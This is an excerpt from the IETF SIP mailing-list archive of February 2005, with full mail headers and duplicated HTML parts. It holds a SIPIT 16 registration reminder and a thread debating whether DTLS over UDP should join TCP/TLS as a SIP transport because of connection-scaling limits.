7bit Subject: [Sip] SIPIT 16 registration X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Content-Transfer-Encoding: 7bit Registration for SIPIT 16 will close in a couple of weeks. If you have not already registered, please do so now. Please note that the special rates at the event hotel are only available until March 4th. See http://www.sipit.net/ for more information. RjS _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 17 17:03:12 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA13313 for ; Thu, 17 Feb 2005 17:03:11 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1u5Q-0001iJ-HJ for sip-web-archive@ietf.org; Thu, 17 Feb 2005 17:25:29 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1srn-0008DP-Ou; Thu, 17 Feb 2005 16:07:20 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1r2I-0006iZ-4S for sip@megatron.ietf.org; Thu, 17 Feb 2005 14:10:02 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22311 for ; Thu, 17 Feb 2005 14:10:00 -0500 (EST) Received: from 192-73-206-10.ulticom.com ([192.73.206.10] helo=colby.ulticom.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1rNn-00049c-1J for sip@ietf.org; Thu, 17 Feb 2005 14:32:15 -0500 Received: from pcasveren (pc-asveren.ulticom.com [172.25.33.55]) by colby.ulticom.com (8.12.10/8.12.10) with SMTP id j1HJ9EYe003318; Thu, 17 Feb 2005 14:09:20 -0500 (EST) From: "Tolga Asveren" To: "Christian Stredicke" , "Francois Audet" , "Cullen Jennings" , "Jonathan Rosenberg" Subject: RE: [Sip] draft-jennings-sip-dtls Date: Thu, 17 Feb 2005 13:57:16 -0500 Message-ID: MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Scanned-By: MIMEDefang 2.40 X-Spam-Score: 0.7 (/) X-Scan-Signature: c119f9923e40f08a1d7f390ce651ea92 Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1868686227==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.7 (/) X-Scan-Signature: f4e722e9456ead69ba4cdd21dd3d3600 This is a multi-part message in MIME format. --===============1868686227== Content-Type: multipart/alternative; boundary="----=_NextPart_000_022E_01C514F8.96CFC190" This is a multi-part message in MIME format. ------=_NextPart_000_022E_01C514F8.96CFC190 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit MessageIsn't "running out of sockets" an implementation issue rather than a protocol one? And I believe using multiple processes would solve that problem. Tolga -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of Christian Stredicke Sent: Wednesday, February 16, 2005 5:02 PM To: Francois Audet; Cullen Jennings; Jonathan Rosenberg Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls Today I would recommend SIP operators to avoid TCP (and that includes TLS) because the processes are simply running out of sockets (think about an ITSP with one million customers). The UDP/DTLS idea would make it reasonable simple to have much more connections and on top have security. And as far as I understood the dtls it finally does solve the fragmentation pain problem. That sounds like a great thing to me. I would vote for dtls! CS ---------------------------------------------------------------------------- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Francois Audet Sent: Wednesday, February 16, 2005 9:47 PM To: 'Cullen Jennings'; 'Jonathan Rosenberg' Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls I would agree with Jonathan. Yes, some implementations of SIP/TCP have performance issues compared to SIP/UDP, but not necessarily all of them. Also, if we need to address the other problems of UDP transport (like fragmentation, and others), then it is not clear to me that we are saving much in the first place by using UDP/DTLS instead of TCP/TLS. I'd like to see real data before we add yet another thing we'll have to implement... -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 15, 2005 20:08 To: Jonathan Rosenberg Cc: sip@ietf.org Subject: Re: [Sip] draft-jennings-sip-dtls Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-) I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP. I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated. On 2/15/05 7:15 PM, "Jonathan Rosenberg" wrote: Cullen, What seems missing to me from this is requirements and problem statements. What is DTLS doing for us that we don't get from TLS? Though SIP can run over many different transport protocols, I think experience over time has shown that more choices here is not necessarily a good thing, as SIP has a fair bit of complexity as a result of dealing with the differences between UDP and TCP. As such, I don't think its a good idea to just add more transport protocols to SIP's list of supported ones unless there is a compelling problem that it is solving. Thanks, Jonathan R. Cullen Jennings wrote: > > Nagendra and I put together a draft on using DTLS with SIP. Until it > shows up in the archives you can find it at > > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00. html > > (there is a .txt version too) > > > The abstract is: > > This draft specifies how to use Datagram Transport Layer Security > (DTLS) as a transport for SIP. DTLS is a new protocol for providing > TLS security over a datagram protocol. > > > ------------------------------------------------------------------------ > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip ------=_NextPart_000_022E_01C514F8.96CFC190 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Isn't=20 "running out of sockets" an implementation issue rather than a protocol = one?=20
 
And I=20 believe using multiple processes would solve that = problem.
 
  Tolga
-----Original Message-----
From: = sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org]On Behalf Of Christian=20 Stredicke
Sent: Wednesday, February 16, 2005 5:02 = PM
To:=20 Francois Audet; Cullen Jennings; Jonathan Rosenberg
Cc:=20 sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

Today I would recommend SIP operators to = avoid TCP (and=20 that includes TLS) because the processes are simply running out of = sockets=20 (think about an ITSP with one million customers). The UDP/DTLS idea = would make=20 it reasonable simple to have much more connections and on top have = security.=20 And as far as I understood the dtls it finally does solve the = fragmentation=20 pain problem.
 
That sounds like a great thing to me. I would = vote for=20 dtls!
 
CS

From: sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org] On Behalf Of Francois=20 Audet
Sent: Wednesday, February 16, 2005 9:47 = PM
To:=20 'Cullen Jennings'; 'Jonathan Rosenberg'
Cc:=20 sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

I=20 would agree with Jonathan.
 
Yes, some implementations of SIP/TCP have performance = issues compared=20 to SIP/UDP, but not necessarily all of them.
 
Also, if we need to address the other problems of UDP = transport (like=20 fragmentation, and others), then it is not clear to me that we are = saving=20 much in the first place by using UDP/DTLS instead of=20 TCP/TLS.
 
I'd like to see real data before we add yet another thing = we'll have=20 to implement...
-----Original Message-----
From:=20 sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of = Cullen Jennings
Sent: Tuesday, February 15, 2005=20 20:08
To: Jonathan Rosenberg
Cc:=20 sip@ietf.org
Subject: Re: [Sip]=20 draft-jennings-sip-dtls


Oops -=20 I meant to put that.... There is pretty much one key thing. No one = has=20 build an single edge proxy that can terminate 100k to 1M = connections to=20 UAs using TLS. In theory it is possible, but in practice it seems = hard.=20 The argument is that this will be easier with DTLS. The issue is = not the=20 time it takes to do the crypto - session resumption deals with = that nicely=20 - it just the issues of dealing with half a million TCP = connections to one=20 box. Of course no one has done it with DTLS either :-)

I = believe=20 the argument we made for SCTP was that adding an extensions for = SCTP won't=20 increase the complexity of things that don't support SCTP. =

I agree=20 the UDP/TCP complexity made SIP more complicated and I agree that = sip and=20 sips made things more complicated. I'm not sure I buy that both = TLS and=20 TCP made things more complicated.


On 2/15/05 7:15 PM,=20 "Jonathan Rosenberg" <jdrosen@cisco.com>=20 wrote:
Cullen,

What seems missing to = me from=20 this is requirements and problem
statements. What is DTLS = doing for=20 us that we don't get from TLS?

Though SIP can run over = many=20 different transport protocols, I think
experience over time = has=20 shown that more choices here is not necessarily
a good = thing, as SIP=20 has a fair bit of complexity as a result of dealing
with the = differences between UDP and TCP. As such, I don't think its a =
good=20 idea to just add more transport protocols to SIP's list of =
supported=20 ones unless there is a compelling problem that it is solving.=20

Thanks,
Jonathan R.

Cullen Jennings wrote:=20

>
> Nagendra and I put together a draft on = using DTLS=20 with SIP. Until it
> shows up in the archives you can = find it at=20
>
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-j= ennings-sip-dtls-00.html=20
>
> (there is a .txt version too)
> =
>=20
> The abstract is:
>
> =    This draft=20 specifies how to use Datagram Transport Layer Security
>=20    (DTLS) as a transport for SIP.  DTLS is a = new=20 protocol for providing
>    TLS security = over a=20 datagram protocol.
>
>
>=20 = ------------------------------------------------------------------------ =
>
> = _______________________________________________=20
> Sip mailing list=20  https://www1.ietf.org/mailman/listinfo/sip
> This = list is=20 for NEW development of the core SIP Protocol
> Use=20 sip-implementors@cs.columbia.edu for questions on current sip =
>=20 Use sipping@ietf.org for new developments on the application of = sip=20

------=_NextPart_000_022E_01C514F8.96CFC190-- --===============1868686227== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1868686227==-- From sip-bounces@ietf.org Thu Feb 17 17:08:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14242 for ; Thu, 17 Feb 2005 17:08:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1uAO-0001yi-DU for sip-web-archive@ietf.org; Thu, 17 Feb 2005 17:30:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1tdz-0001uP-S9; Thu, 17 Feb 2005 16:57:07 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1rpa-0007ro-Sh for sip@megatron.ietf.org; Thu, 17 Feb 2005 15:01:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27528 for ; Thu, 17 Feb 2005 15:00:57 -0500 (EST) Received: from natpreptil.rzone.de ([81.169.145.163]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1sB4-0005lc-To for sip@ietf.org; Thu, 17 Feb 2005 15:23:12 -0500 Received: from snom.de (p54BFFDBB.dip.t-dialin.net [84.191.253.187]) by post.webmailer.de (8.13.1/8.13.1) with ESMTP id j1HK0msV013995; Thu, 17 Feb 2005 21:00:49 +0100 (MET) Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [Sip] draft-jennings-sip-dtls X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Date: Thu, 17 Feb 2005 21:00:31 +0100 Message-ID: Thread-Topic: [Sip] draft-jennings-sip-dtls thread-index: AcUVJSg8t+1iZi2SQpa7ci/COhnG/wABdeWQ From: "Christian Stredicke" To: "Tolga Asveren" , "Francois Audet" , "Cullen Jennings" , "Jonathan Rosenberg" X-Spam-Score: 1.0 (+) X-Scan-Signature: 4f585e1bcd209294c6b9386034cecfc6 Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0967825894==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.7 (/) X-Scan-Signature: 3643ee1fccf5d6cf2af25f27d28abb29 This is a multi-part message in MIME format. --===============0967825894== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C5152B.A34932AC" This is a multi-part message in MIME format. ------_=_NextPart_001_01C5152B.A34932AC Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable 16 bit set an upper limit of 64 K connections. My feeling is that TCP was not designed for this purpose. =20 Sorry for being so pragmatic. Maybe someone can show me an implementation that can handle 100 K connections on one IP address. =20 CS ________________________________ From: Tolga Asveren [mailto:asveren@ulticom.com]=20 Sent: Thursday, February 17, 2005 8:16 PM To: Christian Stredicke; Francois Audet; Cullen Jennings; Jonathan Rosenberg Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls =09 =09 Isn't "running out of sockets" an implementation issue rather than a protocol one?=20 =20 And I believe using multiple processes would solve that problem. =20 Tolga -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org]On Behalf Of Christian Stredicke Sent: Wednesday, February 16, 2005 5:02 PM To: Francois Audet; Cullen Jennings; Jonathan Rosenberg Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls =09 =09 Today I would recommend SIP operators to avoid TCP (and that includes TLS) because the processes are simply running out of sockets (think about an ITSP with one million customers). The UDP/DTLS idea would make it reasonable simple to have much more connections and on top have security. And as far as I understood the dtls it finally does solve the fragmentation pain problem. =20 That sounds like a great thing to me. I would vote for dtls! =20 CS ________________________________ From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Francois Audet Sent: Wednesday, February 16, 2005 9:47 PM To: 'Cullen Jennings'; 'Jonathan Rosenberg' Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls =09 =09 I would agree with Jonathan. =20 Yes, some implementations of SIP/TCP have performance issues compared to SIP/UDP, but not necessarily all of them. =20 Also, if we need to address the other problems of UDP transport (like fragmentation, and others), then it is not clear to me that we are saving much in the first place by using UDP/DTLS instead of TCP/TLS. =20 I'd like to see real data before we add yet another thing we'll have to implement... -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 15, 2005 20:08 To: Jonathan Rosenberg Cc: sip@ietf.org Subject: Re: [Sip] draft-jennings-sip-dtls =09 =09 =09 Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-) =09 I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP.=20 =09 I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated.=20 =09 =09 On 2/15/05 7:15 PM, "Jonathan Rosenberg" wrote: =09 =09 Cullen,=20 =09 What seems missing to me from this is requirements and problem=20 statements. What is DTLS doing for us that we don't get from TLS?=20 =09 Though SIP can run over many different transport protocols, I think=20 experience over time has shown that more choices here is not necessarily=20 a good thing, as SIP has a fair bit of complexity as a result of dealing=20 with the differences between UDP and TCP. As such, I don't think its a=20 good idea to just add more transport protocols to SIP's list of=20 supported ones unless there is a compelling problem that it is solving.=20 =09 Thanks,=20 Jonathan R.=20 =09 Cullen Jennings wrote:=20 =09 >=20 > Nagendra and I put together a draft on using DTLS with SIP. Until it=20 > shows up in the archives you can find it at=20 >=20 > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls -00.html=20 >=20 > (there is a .txt version too)=20 >=20 >=20 > The abstract is:=20 >=20 > This draft specifies how to use Datagram Transport Layer Security=20 > (DTLS) as a transport for SIP. DTLS is a new protocol for providing=20 > TLS security over a datagram protocol.=20 >=20 >=20 > ------------------------------------------------------------------------ >=20 > _______________________________________________=20 > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip=20 > This list is for NEW development of the core SIP Protocol=20 > Use sip-implementors@cs.columbia.edu for questions on current sip=20 > Use sipping@ietf.org for new developments on the application of sip=20 =09 =09 =09 ------_=_NextPart_001_01C5152B.A34932AC Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
16 bit set an upper limit of 64 K connections. = My feeling=20 is that TCP was not designed for this purpose.
 
Sorry for being so pragmatic. Maybe someone can = show me an=20 implementation that can handle 100 K connections on one IP=20 address.
 
CS

From: Tolga Asveren=20 [mailto:asveren@ulticom.com]
Sent: Thursday, February 17, = 2005 8:16=20 PM
To: Christian Stredicke; Francois Audet; Cullen Jennings; = Jonathan Rosenberg
Cc: sip@ietf.org
Subject: RE: = [Sip]=20 draft-jennings-sip-dtls

Isn't "running out of sockets" an = implementation=20 issue rather than a protocol one?
 
And=20 I believe using multiple processes would solve that=20 problem.
 
  Tolga
-----Original Message-----
From: = sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org]On Behalf Of Christian=20 Stredicke
Sent: Wednesday, February 16, 2005 5:02 = PM
To:=20 Francois Audet; Cullen Jennings; Jonathan Rosenberg
Cc:=20 sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

Today I would recommend SIP operators to = avoid TCP (and=20 that includes TLS) because the processes are simply running out of = sockets=20 (think about an ITSP with one million customers). The UDP/DTLS idea = would=20 make it reasonable simple to have much more connections and on top = have=20 security. And as far as I understood the dtls it finally does solve = the=20 fragmentation pain problem.
 
That sounds like a great thing to me. I = would vote for=20 dtls!
 
CS

From: sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org] On Behalf Of Francois=20 Audet
Sent: Wednesday, February 16, 2005 9:47 = PM
To:=20 'Cullen Jennings'; 'Jonathan Rosenberg'
Cc:=20 sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

I would agree with Jonathan.
 
Yes, some implementations of SIP/TCP have performance = issues=20 compared to SIP/UDP, but not necessarily all of them. =
 
Also, if we need to address the other problems of UDP = transport=20 (like fragmentation, and others), then it is not clear to me that = we are=20 saving much in the first place by using UDP/DTLS instead of=20 TCP/TLS.
 
I'd like to see real data before we add yet another thing = we'll=20 have to implement...
-----Original = Message-----
From:=20 sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf = Of=20 Cullen Jennings
Sent: Tuesday, February 15, 2005=20 20:08
To: Jonathan Rosenberg
Cc:=20 sip@ietf.org
Subject: Re: [Sip]=20 draft-jennings-sip-dtls


Oops=20 - I meant to put that.... There is pretty much one key thing. No = one has=20 build an single edge proxy that can terminate 100k to 1M = connections to=20 UAs using TLS. In theory it is possible, but in practice it = seems hard.=20 The argument is that this will be easier with DTLS. The issue is = not the=20 time it takes to do the crypto - session resumption deals with = that=20 nicely - it just the issues of dealing with half a million TCP=20 connections to one box. Of course no one has done it with DTLS = either=20 :-)

I believe the argument we made for SCTP was that = adding an=20 extensions for SCTP won't increase the complexity of things that = don't=20 support SCTP.

I agree the UDP/TCP complexity made SIP = more=20 complicated and I agree that sip and sips made things more = complicated.=20 I'm not sure I buy that both TLS and TCP made things more = complicated.=20


On 2/15/05 7:15 PM, "Jonathan Rosenberg"=20 <jdrosen@cisco.com> wrote:
Cullen,

What seems missing = to me from=20 this is requirements and problem
statements. What is DTLS = doing=20 for us that we don't get from TLS?

Though SIP can run = over=20 many different transport protocols, I think
experience = over time=20 has shown that more choices here is not necessarily
a good = thing,=20 as SIP has a fair bit of complexity as a result of dealing =
with=20 the differences between UDP and TCP. As such, I don't think = its a=20
good idea to just add more transport protocols to SIP's = list of=20
supported ones unless there is a compelling problem that = it is=20 solving.

Thanks,
Jonathan R.

Cullen = Jennings=20 wrote:

>
> Nagendra and I put together a = draft on=20 using DTLS with SIP. Until it
> shows up in the = archives you=20 can find it at
>
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-j= ennings-sip-dtls-00.html=20
>
> (there is a .txt version too)
> =
>=20
> The abstract is:
>
> =    This=20 draft specifies how to use Datagram Transport Layer Security =
>=20    (DTLS) as a transport for SIP.  DTLS is = a new=20 protocol for providing
>    TLS security = over a=20 datagram protocol.
>
>
>=20 = ------------------------------------------------------------------------ =
>
> = _______________________________________________=20
> Sip mailing list=20  https://www1.ietf.org/mailman/listinfo/sip
> This = list is=20 for NEW development of the core SIP Protocol
> Use=20 sip-implementors@cs.columbia.edu for questions on current sip =
>=20 Use sipping@ietf.org for new developments on the application = of sip=20

------_=_NextPart_001_01C5152B.A34932AC-- --===============0967825894== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0967825894==-- From sip-bounces@ietf.org Thu Feb 17 18:41:13 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25082 for ; Thu, 17 Feb 2005 18:41:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1vcJ-0004dq-68 for sip-web-archive@ietf.org; Thu, 17 Feb 2005 19:03:32 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1uKf-0003Fj-RL; Thu, 17 Feb 2005 17:41:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1tv0-0004k7-Ij for sip@megatron.ietf.org; Thu, 17 Feb 2005 17:14:42 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14867 for ; Thu, 17 Feb 2005 17:14:40 -0500 (EST) Received: from ihemail1.lucent.com ([192.11.222.161]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1uGX-00029W-2y for sip@ietf.org; Thu, 17 Feb 2005 17:36:58 -0500 Received: from ihmail.ih.lucent.com (h135-1-218-70.lucent.com [135.1.218.70]) by ihemail1.lucent.com (8.12.11/8.12.11) with ESMTP id j1HME8eA023909; Thu, 17 Feb 2005 16:14:08 -0600 (CST) Received: from [135.185.173.147] (il0015vkg1.ih.lucent.com [135.185.173.147]) by ihmail.ih.lucent.com (8.11.7p1+Sun/EMS-1.5 sol2) id j1HME7O04709; Thu, 17 Feb 2005 16:14:07 -0600 (CST) Message-ID: <4215172F.7060303@lucent.com> Date: Thu, 17 Feb 2005 16:14:07 -0600 From: "Vijay K. Gurbani" User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Tolga Asveren Subject: Re: [Sip] draft-jennings-sip-dtls References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Content-Transfer-Encoding: 7bit Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Content-Transfer-Encoding: 7bit Tolga Asveren wrote: > Isn't "running out of sockets" an implementation issue rather than a > protocol one? It's actually a little bit of both. See http://www.ietf.org/internet-drafts/draft-gurbani-sipping-connection-guidelines-01.txt - vijay -- Vijay K. Gurbani vkg@{lucent.com,research.bell-labs.com,acm.org} Wireless Networks Group/Internet Software and Services Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440 Naperville, Illinois 60566 Voice: +1 630 224 0216 _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 17 20:09:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA05053 for ; Thu, 17 Feb 2005 20:09:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1x07-0007VS-Bq for sip-web-archive@ietf.org; Thu, 17 Feb 2005 20:32:12 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1wTO-0005Dp-PK; Thu, 17 Feb 2005 19:58:22 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1wDN-0006r0-TY for sip@megatron.ietf.org; Thu, 17 Feb 2005 19:41:50 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01762 for ; Thu, 17 Feb 2005 19:41:47 -0500 (EST) Received: from nylon.softarmor.com ([66.135.38.164]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1wYv-0006VS-K0 for sip@ietf.org; Thu, 17 Feb 2005 20:04:06 -0500 Received: from [64.101.149.215] ([64.101.149.215]) (authenticated bits=0) by nylon.softarmor.com (8.13.1/8.12.11) with ESMTP id j1I0gabT021351 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Thu, 17 Feb 2005 18:42:37 -0600 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: <07595f53ac0eb03c7d5406a3207f947c@softarmor.com> Content-Transfer-Encoding: quoted-printable From: Dean Willis Subject: Re: [Sip] draft-jennings-sip-dtls Date: Thu, 17 Feb 2005 18:40:57 -0600 To: "Christian Stredicke" X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Content-Transfer-Encoding: quoted-printable Cc: Cullen Jennings , sip@ietf.org, Francois Audet , Tolga Asveren X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Content-Transfer-Encoding: quoted-printable On Feb 17, 2005, at 2:00 PM, Christian Stredicke wrote: > 16 bit set an upper limit of 64 K connections. My feeling is that TCP=20= > was not designed for this purpose. > =A0 > Sorry for being so pragmatic. Maybe someone can show me an=20 > implementation that can handle 100 K connections on one IP address. > =A0 Actually, we fairly thoroughly flogged this topic a few years ago. The net-net was that the 64k limit is a kernel limit, induced by the=20 use of 16-bit indices in file descriptor tables and other places. Some kernels (or embedded IP limitations that are not kernel specific)=20= don't seem to have this limitation. I'm told by some of the bootserver=20= engineers I talk with occasionally that they can get several hundred=20 thousand TCP connections on Solaris 9, at a cost of about 4kB per=20 connection. Of course, this eats a boatload of RAM. But DTLS does have some nice properties, and its ability to scale=20 larger on a larger set of OS platforms is quite possibly one of them. -- Dean= _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Fri Feb 18 09:06:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA04066 for ; Fri, 18 Feb 2005 09:06:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2981-0000lQ-4v for sip-web-archive@ietf.org; Fri, 18 Feb 2005 09:29:09 -0500 Received: from 